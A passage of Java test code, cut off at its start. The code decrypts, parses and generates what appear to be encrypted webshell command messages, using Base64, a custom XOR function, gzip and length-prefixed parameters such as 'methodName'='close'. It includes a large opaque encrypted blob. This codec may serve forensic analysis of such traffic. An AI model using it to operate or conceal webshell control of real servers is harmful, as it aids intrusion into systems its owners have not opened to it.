String result = "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".substring(16);
|
|
result = result.substring(0, result.length() - 16);
|
|
byte[] bytes = Base64.decodeBase64(result);
|
|
byte[] x = x(bytes, false);
|
|
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
|
|
IOUtils.copy(gzipInputStream, System.out);
|
|
}
|
|
|
|
@Test
|
|
void getPayload() throws IOException {
|
|
String result = URLDecoder.decode("iBFCSp6teq50bb9gXWFdEM36h%2FTnIqtHIg813YXy3GwxPP6S9ve6SZgDY0TJnOoZjxZCkkFO1HNx2VaBe9JHo9noP74PGzx0mxOH9oFDgXzIIGwvPLsKcLQVVRptBojgZWB90sIU0EHPzppD87GxSGS9Jl3jG1%2B6Ak3AfJ3jjL0FqU1RvKL0XZ0A3Teub%2FMZHXfZyFjMveM1vzwJEJ2X3h5Tr9tXEAzyT9eKInXwoxXJlb%2B31oFxN8ohKS4i5dfu", "UTF-8");
|
|
byte[] bytes = Base64.decodeBase64(result);
|
|
byte[] x = x(bytes, false);
|
|
ByteArrayInputStream tStream = new ByteArrayInputStream(x);
|
|
ByteArrayOutputStream tp = new ByteArrayOutputStream();
|
|
byte[] lenB = new byte[4];
|
|
int read;
|
|
try {
|
|
GZIPInputStream inputStream = new GZIPInputStream(tStream);
|
|
while (true) {
|
|
byte t = (byte) inputStream.read();
|
|
if (t != -1) {
|
|
if (t == 2) {
|
|
String key = tp.toString();
|
|
inputStream.read(lenB);
|
|
int len = bytesToInt(lenB);
|
|
byte[] data = new byte[len];
|
|
int readOneLen = 0;
|
|
do {
|
|
read = readOneLen + inputStream.read(data, readOneLen, data.length - readOneLen);
|
|
readOneLen = read;
|
|
} while (read < data.length);
|
|
System.out.println(key);
|
|
System.out.println(new String(data));
|
|
tp.reset();
|
|
} else {
|
|
tp.write(t);
|
|
}
|
|
} else {
|
|
tp.close();
|
|
tStream.close();
|
|
inputStream.close();
|
|
return;
|
|
}
|
|
}
|
|
} catch (Exception ignored) {
|
|
}
|
|
}
|
|
|
|
public static int bytesToInt(byte[] bytes) {
|
|
return (bytes[0] & 255) | ((bytes[1] & 255) << 8) | ((bytes[2] & 255) << 16) | ((bytes[3] & 255) << 24);
|
|
}
|
|
|
|
@Test
|
|
@SneakyThrows
|
|
void generatePayload() {
|
|
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
|
try (GZIPOutputStream gzipOutputStream = new GZIPOutputStream(baos);) {
|
|
byte[] value = "close".getBytes();
|
|
gzipOutputStream.write("methodName".getBytes());
|
|
gzipOutputStream.write(2);
|
|
gzipOutputStream.write(intToBytes(value.length));
|
|
gzipOutputStream.write(value);
|
|
}
|
|
byte[] x = x(baos.toByteArray(), true);
|
|
System.out.println(URLEncoder.encode(Base64.encodeBase64String(x), "UTF-8"));
|
|
}
|
|
|
|
public static byte[] intToBytes(int value) {
|
|
return new byte[]{(byte) (value & 255), (byte) ((value >> 8) & 255), (byte) ((value >> 16) & 255), (byte) ((value >> 24) & 255)};
|
|
}
|
|
|
|
} |